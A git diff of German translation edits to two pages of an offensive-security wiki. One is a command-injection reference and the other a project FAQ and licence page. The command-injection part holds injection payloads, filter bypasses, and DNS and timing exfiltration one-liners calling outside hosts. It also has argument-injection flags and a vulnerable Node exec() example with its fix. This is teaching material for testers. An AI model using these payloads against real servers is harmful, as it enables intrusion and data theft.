+Eine **command injection** ermöglicht einem Angreifer die Ausführung willkürlicher Betriebssystembefehle auf dem Server, der eine Anwendung hostet. Infolgedessen können die Anwendung und alle ihre Daten vollständig kompromittiert werden. Die Ausführung dieser Befehle erlaubt dem Angreifer typischerweise, unautorisierten Zugriff auf die Umgebung der Anwendung und das zugrunde liegende System zu erlangen oder Kontrolle darüber zu übernehmen.
 
 ### Kontext
 
-Je nachdem, **wo Ihre Eingabe injiziert wird**, müssen Sie möglicherweise den **zitierten Kontext beenden** (mit `"` oder `'`), bevor Sie die Befehle ausführen.
+Abhängig davon, **wo Ihre Eingabe injiziert wird**, müssen Sie möglicherweise **den zitierten Kontext beenden** (mit `"` oder `'`) bevor die Befehle.
 
 ## Command Injection/Execution
 ```bash
@@ -30,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
 > /var/www/html/out.txt #Try to redirect the output to a file
 < /etc/passwd #Try to send some input to the command
 ```
-### **Einschränkungen** Bypasses
+### **Beschränkungen** Bypasses
 
-Wenn du versuchst, **arbitrary commands inside a linux machine** auszuführen, interessiert dich vielleicht das Lesen über diese **Bypasses:**
+Wenn du versuchst, **arbitrary commands inside a linux machine** auszuführen, solltest du dir diese **Bypasses** ansehen:
 
 
 {{#ref}}
@@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
 ```
 ### Parameter
 
-Hier sind die Top-25-Parameter, die für code injection und ähnliche RCE vulnerabilities anfällig sein könnten (von [link](https://twitter.com/trbughunters/status/1283133356922884096)):
+Hier sind die Top 25 Parameter, die für code injection und ähnliche RCE-Schwachstellen anfällig sein könnten (von [link](https://twitter.com/trbughunters/status/1283133356922884096)):
 ```
 ?cmd={payload}
 ?exec={payload}
@@ -77,7 +77,7 @@ Hier sind die Top-25-Parameter, die für code injection und ähnliche RCE vulner
 ```
 ### Time based data exfiltration
 
-Daten extrahieren: Zeichen für Zeichen
+Datenextraktion: char by char
 ```
 swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
 real    0m5.007s
@@ -91,7 +91,7 @@ sys 0m0.000s
 ```
 ### DNS based data exfiltration
 
-Basierend auf dem Tool von `https://github.com/HoLyVieR/dnsbin`, das auch unter dnsbin.zhack.ca gehostet wird
+Basierend auf dem Tool von `https://github.com/HoLyVieR/dnsbin`, das auch auf dnsbin.zhack.ca gehostet ist.
 ```
 1. Go to http://dnsbin.zhack.ca/
 2. Execute a simple 'ls'
@@ -101,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
 ```
 $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
 ```
-Online-Tools zur Überprüfung von DNS based data exfiltration:
+Online-Tools zur Überprüfung von DNS-basierter data exfiltration:
 
 - dnsbin.zhack.ca
 - pingb.in
 
-### Filtering bypass
+### Umgehung von Filtern
 
 #### Windows
 ```
@@ -122,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad
 
 ### Node.js `child_process.exec` vs `execFile`
 
-Beim Prüfen von JavaScript/TypeScript-Backends stößt man häufig auf die Node.js `child_process`-API.
+Beim Audit von JavaScript/TypeScript-Backends stößt man häufig auf die Node.js `child_process` API.
 ```javascript
 // Vulnerable: user-controlled variables interpolated inside a template string
 const { exec } = require('child_process');
@@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
 /* … */
 });
 ```
-`exec()` startet eine **shell** (`/bin/sh -c`), daher führt jedes Zeichen, das für die shell eine spezielle Bedeutung hat (back-ticks, `;`, `&&`, `|`, `$()`, …), zu **command injection**, wenn Benutzereingaben in den String verkettet werden.
+`exec()` startet eine **shell** (`/bin/sh -c`), daher kann jedes Zeichen, das für die shell eine besondere Bedeutung hat (back-ticks, `;`, `&&`, `|`, `$()`, …), zu **command injection** führen, wenn Benutzereingaben in den String konkateniert werden.
 
-**Gegenmaßnahme:** verwende `execFile()` (oder `spawn()` ohne die `shell`-Option) und übergib **jedes Argument als separates Array-Element**, damit keine shell beteiligt ist:
+**Gegenmaßnahme:** verwende `execFile()` (oder `spawn()` ohne die `shell`-Option) und übergebe **jedes Argument als separates Array-Element**, sodass keine shell beteiligt ist:
 ```javascript
 const { execFile } = require('child_process');
 execFile('/usr/bin/do-something', [
@@ -140,27 +140,27 @@ execFile('/usr/bin/do-something', [
 '--payload', JSON.stringify(payload)
 ]);
 ```
-Praxisfall: *Synology Photos* ≤ 1.7.0-0794 war ausnutzbar durch ein unauthentifiziertes WebSocket-Ereignis, das vom Angreifer kontrollierte Daten in `id_user` platzierte, die später in einem `exec()`-Aufruf eingebettet wurden, wodurch RCE erreicht wurde (Pwn2Own Ireland 2024).
+Real-world case: *Synology Photos* ≤ 1.7.0-0794 war über ein unauthentifiziertes WebSocket-Ereignis angreifbar, das vom Angreifer kontrollierte Daten in `id_user` platzierte, die später in einem `exec()`-Aufruf eingebettet wurden und RCE ermöglichten (Pwn2Own Ireland 2024).
 
-### Argument-/Option-Injektion durch führenden Bindestrich (argv, no shell metacharacters)
+### Argument-/Option-Injektion durch führenden Bindestrich (argv, keine Shell-Metazeichen)
 
-Nicht alle Injektionen erfordern shell Metazeichen. Wenn die Anwendung untrusted Strings als Argumente an ein System-Utility übergibt (selbst mit `execve`/`execFile` und ohne shell), werden viele Programme weiterhin jedes Argument, das mit `-` oder `--` beginnt, als Option interpretieren. Dadurch kann ein Angreifer Modi umschalten, Ausgabeziele ändern oder gefährliches Verhalten auslösen, ohne jemals eine shell zu erreichen.
+Nicht alle Injektionen benötigen Shell-Metazeichen. Wenn die Anwendung unvertrauenswürdige Strings als Argumente an ein Systemutility übergibt (selbst mit `execve`/`execFile` und ohne Shell), werden viele Programme trotzdem jedes Argument, das mit `-` oder `--` beginnt, als Option interpretieren. Dadurch kann ein Angreifer Modi umschalten, Ausgabewege ändern oder gefährliches Verhalten auslösen, ohne jemals in eine Shell einzubrechen.
 
 Typische Orte, an denen das vorkommt:
 
-- Eingebettete Web-UIs/CGI-Handler, die Befehle wie `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, etc. bauen.
-- Zentralisierte CGI-Router (z. B. `/cgi-bin/<something>.cgi` mit einem Selector-Parameter wie `topicurl=<handler>`), bei denen mehrere Handler denselben schwachen Validator wiederverwenden.
+- Eingebettete Web-UIs/CGI-Handler, die Befehle wie `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, usw. zusammensetzen.
+- Zentrale CGI-Router (z. B. `/cgi-bin/<something>.cgi` mit einem Selektor-Parameter wie `topicurl=<handler>`), bei denen mehrere Handler denselben schwachen Validator wiederverwenden.
 
-Was zu versuchen ist:
+Was zu versuchen:
 
-- Werte angeben, die mit `-`/`--` beginnen, damit das nachgelagerte Tool sie als Flags konsumiert.
-- Flags missbrauchen, die Verhalten ändern oder Dateien schreiben, zum Beispiel:
-- `ping`: `-f`/`-c 100000` um das Gerät zu belasten (DoS)
-- `curl`: `-o /tmp/x` um beliebige Pfade zu schreiben, `-K <url>` um vom Angreifer kontrollierte Konfiguration zu laden
-- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` um nach der Rotation Ausführung in unsicheren Wrappern zu erreichen
-- Wenn das Programm `--` (End-of-options) unterstützt, versuchen naive Gegenmaßnahmen zu umgehen, die `--` an der falschen Stelle einfügen.
+- Werte angeben, die mit `-`/`--` beginnen, damit das nachgelagerte Tool sie als Flags interpretiert.
+- Flags missbrauchen, die das Verhalten ändern oder Dateien schreiben, zum Beispiel:
+- `ping`: `-f`/`-c 100000`, um das Gerät zu belasten (DoS)
+- `curl`: `-o /tmp/x`, um beliebige Pfade zu schreiben, `-K <url>`, um eine vom Angreifer kontrollierte Konfiguration zu laden
+- `tcpdump`: `-G 1 -W 1 -z /path/script.sh`, um in unsicheren Wrappern eine Ausführung nach Rotation zu erreichen
+- Wenn das Programm `--` (Ende-der-Optionen) unterstützt, versuchen Sie, naive Mitigations zu umgehen, die `--` an die falsche Stelle voranstellen.
 
-Generische PoC-Muster gegen zentralisierte CGI-Dispatcher:
+Generische PoC-Muster gegen zentrale CGI-Dispatcher:
 ```
 POST /cgi-bin/cstecgi.cgi HTTP/1.1
 Content-Type: application/x-www-form-urlencoded

src/welcome/hacktricks-values-and-faq.md

@@ -7,15 +7,15 @@
 > [!TIP]
 > Dies sind die **Werte des HackTricks-Projekts**:
 >
-> - Gewähre **KOSTENLOSEN** Zugang zu **bildungsrelevanten hacking**-Ressourcen für **das gesamte** Internet.
+> - Gewähre **KOSTENLOSEN** Zugang zu **PÄDAGOGISCHEN** hacking Ressourcen für **das gesamte** Internet.
 >  - Hacking dreht sich ums Lernen, und Lernen sollte so frei wie möglich sein.
->  - Der Zweck dieses Buches ist es, als umfassende **Bildungsressource** zu dienen.
-> - **SPEICHERE** großartige **hacking**-Techniken, die die Community veröffentlicht und den **URSPRÜNGLICHEN** **AUTOREN** alle **Anerkennung** gibt.
->  - **Wir wollen nicht die Anerkennung anderer Leute**, wir wollen nur coole Tricks für alle speichern.
->  - Wir schreiben auch **unsere eigenen Forschungsarbeiten** in HackTricks.
->  - In mehreren Fällen werden wir nur **in HackTricks eine Zusammenfassung der wichtigen Teile** der Technik schreiben und den Leser dazu **ermutigen, den Originalbeitrag** für mehr Details zu besuchen.
-> - **ORGANISIERE** alle hacking-Techniken im Buch, damit es **BESSER ZUGÄNGLICH** ist
->  - Das HackTricks-Team hat tausende von Stunden kostenlos **ausschließlich für die Organisation des Inhalts** aufgewendet, damit Menschen **schneller lernen**
+>  - Der Zweck dieses Buches ist es, als umfassende **pädagogische Ressource** zu dienen.
+> - **SPEICHERN** großartige **hacking** Techniken, die die Community veröffentlicht, und dabei den **URSPRUNGLICHEN** **AUTOREN** alle **ANERKENNUNG** geben.
+>  - **Wir wollen nicht die Anerkennung von anderen**, wir wollen nur coole Tricks für alle speichern.
+>  - Wir schreiben auch **unsere eigenen Forschungen** in HackTricks.
+>  - In mehreren Fällen schreiben wir in HackTricks nur **eine Zusammenfassung der wichtigsten Teile** der Technik und **ermutigen den Leser, den Originalbeitrag** für mehr Details zu besuchen.
+> - **ORGANISIEREN** alle **hacking** Techniken im Buch, damit es **ZUGÄNGLICHER** ist
+>  - Das HackTricks-Team hat tausende Stunden kostenlos **ausschließlich dafür aufgewendet, den Inhalt zu organisieren**, damit Menschen **schneller lernen**
 
 <figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
 
@@ -25,33 +25,33 @@
 >
 > - **Vielen Dank für diese Ressourcen, wie kann ich mich bedanken?**
 
-Du kannst dem HackTricks-Team öffentlich für das Zusammenstellen all dieser Ressourcen in einem Tweet danken, indem du [**@hacktricks_live**](https://twitter.com/hacktricks_live) erwähnst.\
-Wenn du besonders dankbar bist, kannst du das Projekt auch [**hier sponsoren**](https://github.com/sponsors/carlospolop).\
-Und vergiss nicht, den Github-Projekten **einen Stern zu geben**! (Finde die Links weiter unten).
+Du kannst dem HackTricks-Team öffentlich danken, indem du in einem Tweet [**@hacktricks_live**](https://twitter.com/hacktricks_live) erwähnst.\
+Wenn du besonders dankbar bist, kannst du das Projekt auch [**hier sponsern**](https://github.com/sponsors/carlospolop).\
+Und vergiss nicht, den Github-Projekten einen Stern zu geben! (Die Links findest du unten).
 
 > [!TIP]
 >
 > - **Wie kann ich zum Projekt beitragen?**
 
-Du kannst **neue Tipps und Tricks mit der Community teilen oder Bugs beheben**, die du in den Büchern findest, indem du einen **Pull Request** an die jeweiligen Github-Seiten sendest:
+Du kannst **neue Tipps und Tricks mit der Community teilen oder Bugs** beheben, die du in den Büchern findest, indem du einen **Pull Request** an die jeweiligen Github-Seiten sendest:
 
 - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
 - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
 
-Vergiss nicht, den Github-Projekten **einen Stern zu geben**!
+Vergiss nicht, den Github-Projekten einen Stern zu geben!
 
 > [!TIP]
 >
-> - **Kann ich Inhalte aus HackTricks kopieren und in meinem Blog veröffentlichen?**
+> - **Kann ich Inhalte von HackTricks kopieren und in meinen Blog stellen?**
 
-Ja, das kannst du, aber **vergiss nicht, den konkreten Link/die konkreten Links** anzugeben, von denen der Inhalt stammt.
+Ja, das kannst du, aber **vergiss nicht, die spezifische(n) Link(s)** anzugeben, von denen der Inhalt stammt.
 
 > [!TIP]
 >
-> - **Wie kann ich eine Seite von HackTricks referenzieren?**
+> - **Wie kann ich eine HackTricks-Seite zitieren?**
 
-Solange der Link **der** Seite(n), von der du die Informationen entnommen hast, angegeben ist, reicht das aus.\
-Wenn du ein BibTeX brauchst, kannst du so etwas verwenden:
+Solange der Link der Seite(n), von der du die Informationen entnommen hast, angegeben ist, reicht das.\
+Wenn du einen BibTeX-Eintrag brauchst, kannst du so etwas verwenden:
 ```latex
 @misc{hacktricks-bibtexing,
 author = {"HackTricks Team" or the Authors name of the specific page/trick},
@@ -64,80 +64,80 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
 >
 > - **Kann ich alle HackTricks in meinem Blog kopieren?**
 
-**Das würde ich lieber nicht**. Das **wird niemandem nützen**, da der **Inhalt bereits kostenlos öffentlich** in den offiziellen HackTricks-Büchern verfügbar ist.
+**Ich würde es lieber nicht tun**. Das wird **niemandem nützen**, da alle **Inhalte bereits öffentlich verfügbar** in den offiziellen HackTricks-Büchern kostenlos sind.
 
-Wenn du befürchtest, dass er verschwindet, fork es einfach auf Github oder lade es herunter — wie gesagt, es ist bereits kostenlos.
+Wenn du befürchtest, dass es verschwinden könnte, fork es einfach auf Github oder lade es herunter, wie gesagt, es ist bereits kostenlos.
 
 > [!WARNING]
 >
-> - **Warum habt ihr Sponsoren? Sind die HackTricks-Bücher kommerziell?**
+> - **Warum habt ihr Sponsoren? Sind die HackTricks-Bücher für kommerzielle Zwecke?**
 
-Der erste **HackTricks** **Wert** ist es, **KOSTENLOSE** Bildungsressourcen zum Thema Hacking für **ALLE** weltweit anzubieten. Das HackTricks-Team hat **Tausende von Stunden** investiert, um diesen Inhalt bereitzustellen, wiederum **KOSTENLOS**.
+Der erste **HackTricks** **Wert** ist es, **KOSTENLOSE** Hacking-Bildungsressourcen für **ALLE** weltweit anzubieten. Das HackTricks-Team hat **tausende Stunden** investiert, um diese Inhalte anzubieten, nochmals, **KOSTENLOS**.
 
-Wenn du denkst, die HackTricks-Bücher würden für **kommerzielle Zwecke** erstellt, liegst du **VÖLLIG FALSCH**.
+Wenn du denkst, HackTricks-Bücher seien für **kommerzielle Zwecke** gemacht, liegst du **VÖLLIG FALSCH**.
 
-Wir haben Sponsoren, weil wir, auch wenn der gesamte Inhalt KOSTENLOS ist, der **Community die Möglichkeit geben wollen, unsere Arbeit zu wertschätzen**, falls sie das möchten. Daher bieten wir Leuten die Option, HackTricks über [**Github sponsors**](https://github.com/sponsors/carlospolop) zu unterstützen, und **relevante Cybersecurity-Firmen** sponsern HackTricks und platzieren **einige Anzeigen** im Buch — die **Anzeigen** werden stets an Stellen platziert, an denen sie **sichtbar** sind, aber den Lernprozess nicht **stören**, wenn sich jemand auf den Inhalt konzentriert.
+Wir haben Sponsoren, weil wir, auch wenn alle Inhalte KOSTENLOS sind, der Community die Möglichkeit geben wollen, unsere Arbeit zu würdigen, wenn sie das möchten. Daher bieten wir Leuten die Option, HackTricks über [**Github sponsors**](https://github.com/sponsors/carlospolop) zu unterstützen, und relevanten Cybersicherheitsfirmen, HackTricks zu sponsern und **einige Anzeigen** im Buch zu platzieren, wobei die **Anzeigen** immer an Stellen gesetzt werden, an denen sie **sichtbar** sind, aber den Lernprozess nicht stören, wenn jemand sich auf den Inhalt konzentriert.
 
-Du wirst HackTricks nicht mit nervigen Anzeigen vollgestopft finden wie andere Blogs mit deutlich weniger Inhalten, denn HackTricks ist nicht für kommerzielle Zwecke gemacht.
+Du wirst HackTricks nicht mit nervigen Anzeigen überladen finden wie andere Blogs mit deutlich weniger Inhalten als HackTricks, denn HackTricks ist nicht für kommerzielle Zwecke gemacht.
 
 > [!CAUTION]
 >
-> - **Was soll ich tun, wenn eine HackTricks-Seite auf meinem Blogpost basiert, dieser aber nicht referenziert wird?**
+> - **Was soll ich tun, wenn eine HackTricks-Seite auf meinem Blogbeitrag basiert, dieser aber nicht referenziert wird?**
 
-**Das tut uns sehr leid. Das hätte nicht passieren dürfen**. Bitte lass es uns wissen über Github issues, Twitter, Discord... den Link der HackTricks-Seite mit dem Inhalt und den Link zu deinem Blog und **wir werden es prüfen und so schnell wie möglich hinzufügen**.
+**Es tut uns sehr leid. Das hätte nicht passieren dürfen**. Bitte lass es uns über Github issues, Twitter, Discord ... wissen: den Link zur HackTricks-Seite mit dem Inhalt und den Link zu deinem Blog, und **wir werden es prüfen und so schnell wie möglich hinzufügen**.
 
 > [!CAUTION]
 >
-> - **Was soll ich tun, wenn Inhalte meines Blogs in HackTricks sind und ich das nicht möchte?**
+> - **Was soll ich tun, wenn Inhalte aus meinem Blog in HackTricks auftauchen und ich nicht möchte, dass sie dort sind?**
 
-Beachte, dass Links zu deiner Seite in HackTricks:
+Beachte, dass Links auf deine Seite in HackTricks:
 
-- Deine **SEO** verbessern
-- Der Inhalt in **mehr als 15 Sprachen** übersetzt wird, sodass mehr Menschen Zugang zu diesem Inhalt haben
-- **HackTricks ermutigt** Leute, **deine Seite zu besuchen** (mehrere Leute haben uns mitgeteilt, dass sie seitdem eine ihrer Seiten in HackTricks hat, mehr Besuche erhalten)
+- Verbessern dein **SEO**
+- Die Inhalte werden **in mehr als 15 Sprachen übersetzt**, wodurch mehr Menschen Zugriff auf diese Inhalte haben
+- **HackTricks ermutigt** Menschen, **deine Seite zu besuchen** (mehrere Personen haben uns mitgeteilt, dass sie seitdem, dass eine ihrer Seiten in HackTricks ist, mehr Besuche erhalten)
 
-Solltest du dennoch wünschen, dass der Inhalt deines Blogs aus HackTricks entfernt wird, sag es uns einfach und wir werden definitiv **jeden Link zu deinem Blog entfernen** sowie jeglichen auf ihm basierenden Inhalt.
+Wenn du dennoch möchtest, dass Inhalte deines Blogs aus HackTricks entfernt werden, sag uns einfach Bescheid und wir werden definitiv **jeden Link zu deinem Blog entfernen**, und jegliche darauf basierende Inhalte.
 
 > [!CAUTION]
 >
 > - **Was soll ich tun, wenn ich kopierten Inhalt in HackTricks finde?**
 
-Wir geben den ursprünglichen Autoren stets **alle Credits**. Wenn du eine Seite mit kopiertem Inhalt ohne Referenz zur Originalquelle findest, lass es uns wissen und wir werden ihn entweder **entfernen**, **den Link vor den Text setzen**, oder **umschreiben und den Link hinzufügen**.
+Wir geben den Originalautoren immer **vollständig die Credits**. Wenn du eine Seite mit kopiertem Inhalt findest, ohne dass die Originalquelle angegeben ist, lass es uns wissen und wir werden entweder **den Inhalt entfernen**, **den Link vor dem Text hinzufügen**, oder **den Text umschreiben und den Link einfügen**.
 
-## LICENSE
+## LIZENZ
 
 Copyright © Alle Rechte vorbehalten, sofern nicht anders angegeben.
 
-#### License Summary:
+#### Lizenz-Zusammenfassung:
 
-- Attribution: Du darfst:
-- Share — kopieren und das Material in jedem Medium oder Format weiterverbreiten.
-- Adapt — remixen, transformieren und auf dem Material aufbauen.
+- Namensnennung: Du darfst:
+- Teilen — kopiere und verbreite das Material in jedem Medium oder Format.
+- Anpassen — remixe, transformiere und baue auf dem Material auf.
 
-#### Additional Terms:
+#### Zusätzliche Bedingungen:
 
-- Third-Party Content: Teile dieses Blogs/Buchs können Inhalte aus anderen Quellen enthalten, wie Auszüge aus anderen Blogs oder Publikationen. Die Nutzung solcher Inhalte erfolgt unter den Prinzipien des fair use oder mit ausdrücklicher Genehmigung der jeweiligen Urheberrechtsinhaber. Bitte beziehe dich auf die Originalquellen für spezifische Lizenzinformationen zu Inhalten Dritter.
-- Authorship: Der ursprünglich von HackTricks verfasste Inhalt unterliegt den Bedingungen dieser Lizenz. Du wirst ermutigt, dieses Werk beim Teilen oder Anpassen dem Autor zuzuschreiben.
+- Inhalte Dritter: Einige Teile dieses Blogs/Buches können Inhalte aus anderen Quellen enthalten, wie Auszüge aus anderen Blogs oder Publikationen. Die Verwendung solcher Inhalte erfolgt unter den Prinzipien des Fair Use oder mit ausdrücklicher Erlaubnis der jeweiligen Urheberrechtsinhaber. Bitte beziehe dich auf die Originalquellen für spezifische Lizenzinformationen zu Inhalten Dritter.
+- Autorenschaft: Die Originalinhalte, verfasst von HackTricks, unterliegen den Bedingungen dieser Lizenz. Es wird empfohlen, dieses Werk dem Autor beim Teilen oder Anpassen zu nennen.
 
-#### Exemptions:
+#### Ausnahmen:
 
-- Commercial Use: Für Anfragen bezüglich der kommerziellen Nutzung dieses Inhalts kontaktiere mich bitte.
+- Kommerzielle Nutzung: Bei Anfragen zur kommerziellen Nutzung dieses Inhalts kontaktiere mich bitte.
 
-Diese Lizenz gewährt keine Marken- oder Brandingrechte in Bezug auf die Inhalte. Alle Marken und Branding-Elemente, die in diesem Blog/Buch erscheinen, sind Eigentum ihrer jeweiligen Inhaber.
+Diese Lizenz gewährt keine Marken- oder Branding-Rechte in Bezug auf die Inhalte. Alle Marken und Brandings in diesem Blog/Buch sind Eigentum ihrer jeweiligen Inhaber.
 
-**Durch den Zugriff auf oder die Nutzung von HackTricks erklärst du dich damit einverstanden, die Bedingungen dieser Lizenz einzuhalten. Wenn du mit diesen Bedingungen nicht einverstanden bist, greife bitte nicht auf diese Website zu.**
+**Durch den Zugriff auf oder die Nutzung von HackTricks erklärst du dich mit den Bedingungen dieser Lizenz einverstanden. Wenn du diesen Bedingungen nicht zustimmst, bitte greife nicht auf diese Website zu.**
 
-## **Disclaimer**
+## **Haftungsausschluss**
 
 > [!CAUTION]
-> Dieses Buch, 'HackTricks', dient nur zu Bildungs- und Informationszwecken. Die Inhalte dieses Buches werden "wie besehen" bereitgestellt, und die Autoren und Herausgeber geben keinerlei Zusicherungen oder Gewährleistungen jeglicher Art, weder ausdrücklich noch stillschweigend, hinsichtlich Vollständigkeit, Genauigkeit, Zuverlässigkeit, Eignung oder Verfügbarkeit der Informationen, Produkte, Dienstleistungen oder damit zusammenhängender Grafiken in diesem Buch. Jegliches Vertrauen, das du in solche Informationen setzt, erfolgt daher ausschließlich auf eigenes Risiko.
->
-> Die Autoren und Herausgeber haften unter keinen Umständen für Verluste oder Schäden, einschließlich, aber nicht beschränkt auf indirekte oder Folgeschäden, oder für Verluste oder Schäden jedweder Art, die aus dem Verlust von Daten oder Gewinnen entstehen, die sich aus der Nutzung dieses Buches ergeben.
->
-> Darüber hinaus werden die in diesem Buch beschriebenen Techniken und Tipps nur zu Bildungs- und Informationszwecken bereitgestellt und sollten nicht für illegale oder böswillige Aktivitäten verwendet werden. Die Autoren und Herausgeber billigen oder unterstützen keine illegalen oder unethischen Aktivitäten, und jede Nutzung der in diesem Buch enthaltenen Informationen geschieht auf eigenes Risiko und eigene Verantwortung des Nutzers.
->
-> Der Nutzer ist allein verantwortlich für alle Handlungen, die auf der Grundlage der in diesem Buch enthaltenen Informationen vorgenommen werden, und sollte stets professionelle Beratung und Unterstützung einholen, bevor er versucht, eine der beschriebenen Techniken oder Tipps umzusetzen.
->
-> Durch die Nutzung dieses Buches entbindet der Nutzer die Autoren und Herausgeber von jeglicher Haftung und Verantwortung für Schäden, Verluste oder Schäden, die sich aus der Nutzung dieses Buches oder der darin enthaltenen Informationen ergeben können.
+> Dieses Buch, 'HackTricks', ist ausschließlich für Bildungs- und Informationszwecke gedacht. Die Inhalte dieses Buches werden 'wie besehen' bereitgestellt, und die Autoren und Herausgeber geben keine Zusicherungen oder Gewährleistungen jeglicher Art, weder ausdrücklich noch stillschweigend, über die Vollständigkeit, Genauigkeit, Zuverlässigkeit, Eignung oder Verfügbarkeit der Informationen, Produkte, Dienstleistungen oder zugehöriger Grafiken in diesem Buch. Jegliches Vertrauen, das du in solche Informationen setzt, erfolgt daher ausschließlich auf dein eigenes Risiko.
+> 
+> Die Autoren und Herausgeber haften unter keinen Umständen für Verluste oder Schäden, einschließlich, aber nicht beschränkt auf, indirekte oder Folgeschäden, oder irgendwelche Verluste oder Schäden, die sich aus Datenverlust oder entgangenen Gewinnen ergeben, die aus oder im Zusammenhang mit der Nutzung dieses Buches entstehen.
+> 
+> Darüber hinaus werden die in diesem Buch beschriebenen Techniken und Tipps nur zu Bildungs- und Informationszwecken bereitgestellt und sollten nicht für illegale oder böswillige Aktivitäten verwendet werden. Die Autoren und Herausgeber billigen oder unterstützen keine illegalen oder unethischen Aktivitäten, und jede Nutzung der in diesem Buch enthaltenen Informationen erfolgt auf eigenes Risiko und nach eigenem Ermessen.
+> 
+> Der Benutzer ist allein verantwortlich für jegliche Handlungen, die auf der Grundlage der in diesem Buch enthaltenen Informationen unternommen werden, und sollte stets professionellen Rat und Unterstützung suchen, wenn er versucht, eine der hier beschriebenen Techniken oder Tipps umzusetzen.
+> 
+> Durch die Nutzung dieses Buches erklärt sich der Benutzer damit einverstanden, die Autoren und Herausgeber von jeglicher Haftung und Verantwortung für Schäden, Verluste oder Verletzungen freizustellen, die sich aus der Nutzung dieses Buches oder irgendeiner der darin enthaltenen Informationen ergeben können.
 
 {{#include ../banners/hacktricks-training.md}}